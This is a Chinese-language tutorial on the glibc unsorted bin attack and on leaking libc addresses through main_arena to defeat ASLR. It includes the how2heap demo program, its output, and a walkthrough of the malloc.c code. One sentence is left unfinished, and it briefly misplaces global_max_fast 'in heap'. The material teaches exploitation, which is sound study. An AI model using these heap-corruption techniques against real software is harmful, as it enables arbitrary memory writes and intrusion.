Unsorted Bin Attack

概述

Unsorted Bin Attack,顾名思义,该攻击与 Glibc 堆管理中的的 Unsorted Bin 的机制紧密相关。

Unsorted Bin Attack 被利用的前提是控制 Unsorted Bin Chunk 的 bk 指针。

Unsorted Bin Attack 可以达到的效果是实现修改任意地址值为一个较大的数值。

Unsorted Bin 回顾

在介绍 Unsorted Bin 攻击前,可以先回顾一下 Unsorted Bin 的基本来源以及基本使用情况。

基本来源

  1. 当一个较大的 chunk 被分割成两半后,如果剩下的部分大于 MINSIZE,就会被放到 unsorted bin 中。
  2. 释放一个不属于 fast bin 的 chunk,并且该 chunk 不和 top chunk 紧邻时,该 chunk 会被首先放到 unsorted bin 中。关于 top chunk 的解释,请参考下面的介绍。
  3. 当进行 malloc_consolidate 时,可能会把合并后的 chunk 放到 unsorted bin 中,如果不是和 top chunk 近邻的话。

基本使用情况

  1. Unsorted Bin 在使用的过程中,采用的遍历顺序是 FIFO,即插入的时候插入到 unsorted bin 的头部,取出的时候从链表尾获取
  2. 在程序 malloc 时,如果在 fastbin,small bin 中找不到对应大小的 chunk,就会尝试从 Unsorted Bin 中寻找 chunk。如果取出来的 chunk 大小刚好满足,就会直接返回给用户,否则就会把这些 chunk 分别插入到对应的 bin 中。

Unsorted Bin Leak

在介绍 Unsorted Bin Attack 之前,我们先介绍一下如何使用 Unsorted Bin 进行 Leak。这其实是一个小 trick,许多题中都会用到。

Unsorted Bin 的结构

Unsorted Bin 在管理时为循环双向链表,若 Unsorted Bin 中有两个 bin,那么该链表结构如下

image-20230813131034104

我们可以看到,在该链表中必有一个节点(不准确的说,是尾节点,这个就意会一下把,毕竟循环链表实际上没有头尾)的 fd 指针会指向 main_arena 结构体内部。

Leak 原理

如果我们可以把正确的 fd 指针 leak 出来,就可以获得一个与 main_arena 有固定偏移的地址,这个偏移可以通过调试得出。而main_arena 是一个 struct malloc_state 类型的全局变量,是 ptmalloc 管理主分配区的唯一实例。说到全局变量,立马可以想到他会被分配在 .data 或者 .bss 等段上,那么如果我们有进程所使用的 libc.so 文件的话,我们就可以获得 main_arenalibc 基地址的偏移,实现对 ASLR 的绕过。

那么如何取得 main_arenalibc 基址的偏移呢?这里提供两种思路。

通过 __malloc_trim 函数得出

malloc.c 中有这样一段代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int
__malloc_trim (size_t s)
{
int result = 0;

if (__malloc_initialized < 0)
ptmalloc_init ();

mstate ar_ptr = &main_arena;//<=here!
do
{
__libc_lock_lock (ar_ptr->mutex);
result |= mtrim (ar_ptr, s);
__libc_lock_unlock (ar_ptr->mutex);

ar_ptr = ar_ptr->next;
}
while (ar_ptr != &main_arena);

return result;
}

注意到 mstate ar_ptr = &main_arena; 这里对 main_arena 进行了访问,所以我们就可以通过 IDA 等工具分析出偏移了。

image-20230813131645589

比如把 .so 文件放到 IDA 中,找到 malloc_trim 函数,就可以获得偏移了。

通过 __malloc_hook 直接算出

比较巧合的是,main_arena__malloc_hook 的地址差是 0x10,而大多数的 libc 都可以直接查出 __malloc_hook 的地址,这样可以大幅减小工作量。以 pwntools 为例

1
main_arena_offset = ELF("libc.so.6").symbols["__malloc_hook"] + 0x10

这样就可以获得 main_arena 与基地址的偏移了。

实现 Leak 的方法

一般来说,要实现 leak,需要有 UAF,将一个 chunk 放入 Unsorted Bin 中后再打出其 fd。一般的笔记管理题都会有 show 的功能,对处于链表尾的节点 show 就可以获得 libc 的基地址了。

特别的,CTF 中的利用,堆往往是刚刚初始化的,所以 Unsorted Bin 一般都是干净的,当里面只存在一个 bin 的时候,该 binfdbk 都会指向 main_arena 中。

另外,如果我们无法做到访问链表尾,但是可以访问链表头,那么在 32 位的环境下,对链表头进行 printf 等往往可以把 fdbk 一起输出出来,这个时候同样可以实现有效的 leak。然而在 64 位下,由于高地址往往为 \x00,很多输出函数会被截断,这个时候可能就难以实现有效 leak。

Unsorted Bin Attack 原理

glibc/malloc/malloc.c 中的 _int_malloc 有这么一段代码,当将一个 unsorted bin 取出的时候,会将 bck->fd 的位置写入本 Unsorted Bin 的位置。

1
2
3
4
5
/* remove from unsorted list */
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

换而言之,如果我们控制了 bk 的值,我们就能将 unsorted_chunks (av) 写到任意地址。

这里我以 shellphish 的 how2heap 仓库中的 unsorted_bin_attack.c 为例进行介绍,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#include <stdio.h>
#include <stdlib.h>

int main() {
fprintf(stderr, "This file demonstrates unsorted bin attack by write a large "
"unsigned long value into stack\n");
fprintf(
stderr,
"In practice, unsorted bin attack is generally prepared for further "
"attacks, such as rewriting the "
"global variable global_max_fast in libc for further fastbin attack\n\n");

unsigned long target_var = 0;
fprintf(stderr,
"Let's first look at the target we want to rewrite on stack:\n");
fprintf(stderr, "%p: %ld\n\n", &target_var, target_var);

unsigned long *p = malloc(400);
fprintf(stderr, "Now, we allocate first normal chunk on the heap at: %p\n",
p);
fprintf(stderr, "And allocate another normal chunk in order to avoid "
"consolidating the top chunk with"
"the first one during the free()\n\n");
malloc(500);

free(p);
fprintf(stderr, "We free the first chunk now and it will be inserted in the "
"unsorted bin with its bk pointer "
"point to %p\n",
(void *)p[1]);

/*------------VULNERABILITY-----------*/

p[1] = (unsigned long)(&target_var - 2);
fprintf(stderr, "Now emulating a vulnerability that can overwrite the "
"victim->bk pointer\n");
fprintf(stderr, "And we write it with the target address-16 (in 32-bits "
"machine, it should be target address-8):%p\n\n",
(void *)p[1]);

//------------------------------------

malloc(400);
fprintf(stderr, "Let's malloc again to get the chunk we just free. During "
"this time, target should has already been "
"rewrite:\n");
fprintf(stderr, "%p: %p\n", &target_var, (void *)target_var);
}

程序执行后的效果为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
This file demonstrates unsorted bin attack by write a large unsigned long value into stack
In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the global variable global_max_fast in libc for further fastbin attack

Let's first look at the target we want to rewrite on stack:
0x7ffce7d07608: 0

Now, we allocate first normal chunk on the heap at: 0x1b55010
And allocate another normal chunk in order to avoid consolidating the top chunk withthe first one during the free()

We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer point to 0x7f086ebc4b78
Now emulating a vulnerability that can overwrite the victim->bk pointer
And we write it with the target address-16 (in 32-bits machine, it should be target address-8):0x7ffce7d075f8

Let's malloc again to get the chunk we just free. During this time, the target should have already been rewritten:
0x7ffce7d07608: 0x7f086ebc4b78

这里我们可以使用一个图来描述一下具体发生的流程以及背后的原理。

image-20230813132828404

初始状态时

unsorted bin 的 fd 和 bk 均指向 unsorted bin 本身。

执行 free(p)

由于释放的 chunk 大小不属于 fast bin 范围内,所以会首先放入到 unsorted bin 中。

修改 p[1]

经过修改之后,原来在 unsorted bin 中的 p 的 bk 指针就会指向 target addr-16 处伪造的 chunk,即 Target Value 处于伪造 chunk 的 fd 处。

申请 400 大小的 chunk

此时,所申请的 chunk 处于 small bin 所在的范围,其对应的 bin 中暂时没有 chunk,所以会去 unsorted bin 中找,发现 unsorted bin 不空,于是把 unsorted bin 中的最后一个 chunk 拿出来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
while ((victim = unsorted_chunks(av)->bk) != unsorted_chunks(av)) {
// victim 为 unsorted bin 的最后一个 chunk
// bck 为 unsorted bin 的倒数第二个 chunk
bck = victim->bk;
// 判断得到的 chunk 是否满足要求,不能过小,也不能过大
// 一般 system_mem 的大小为132K
if (__builtin_expect(chunksize_nomask(victim) <= 2 * SIZE_SZ, 0) ||
__builtin_expect(chunksize_nomask(victim) > av->system_mem, 0))
malloc_printerr(check_action, "malloc(): memory corruption",
chunk2mem(victim), av);
// 得到victim对应的chunk大小。
size = chunksize(victim);

/*
If a small request, try to use last remainder if it is the
only chunk in unsorted bin. This helps promote locality for
runs of consecutive small requests. This is the only
exception to best-fit, and applies only when there is
no exact fit for a small chunk.
*/
/* 显然,bck被修改,并不符合这里的要求*/
if (in_smallbin_range(nb) && bck == unsorted_chunks(av) &&
victim == av->last_remainder &&
(unsigned long) (size) > (unsigned long) (nb + MINSIZE)) {
....
}

/* remove from unsorted list */
unsorted_chunks(av)->bk = bck;
bck->fd = unsorted_chunks(av);
  • victim = unsorted_chunks(av)->bk=p
  • bck = victim->bk=p->bk = target addr-16
  • unsorted_chunks(av)->bk = bck=target addr-16
  • bck->fd = *(target addr -16+16) = unsorted_chunks(av);

可以看出,在将 unsorted bin 的最后一个 chunk 拿出来的过程中,victim 的 fd 并没有发挥作用,所以即使我们修改了其为一个不合法的值也没有关系。然而,需要注意的是,unsorted bin 链表可能就此破坏,在插入 chunk 时,可能会出现问题。

即修改 target 处的值为 unsorted bin 的链表头部 0x7f1c705ffb78,也就是之前输出的信息。

1
2
3
4
5
6
We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer point to 0x7f1c705ffb78
Now emulating a vulnerability that can overwrite the victim->bk pointer
And we write it with the target address-16 (in 32-bits machine, it should be target address-8):0x7ffe0d232508

Let's malloc again to get the chunk we just free. During this time, target should has already been rewrite:
0x7ffe0d232518: 0x7f1c705ffb78

这里我们可以看到 unsorted bin attack 确实可以修改任意地址的值,但是所修改成的值却不受我们控制,唯一可以知道的是,这个值比较大。而且,需要注意的是,

这看起来似乎并没有什么用处,但是其实还是有点卵用的,比如说

  • 我们通过修改循环的次数来使得程序可以执行多次循环。
  • 我们可以修改 heap 中的 global_max_fast 来使得更大的 chunk 可以被视为 fast bin,这样我们就可以去执行一些 fast bin attack 了。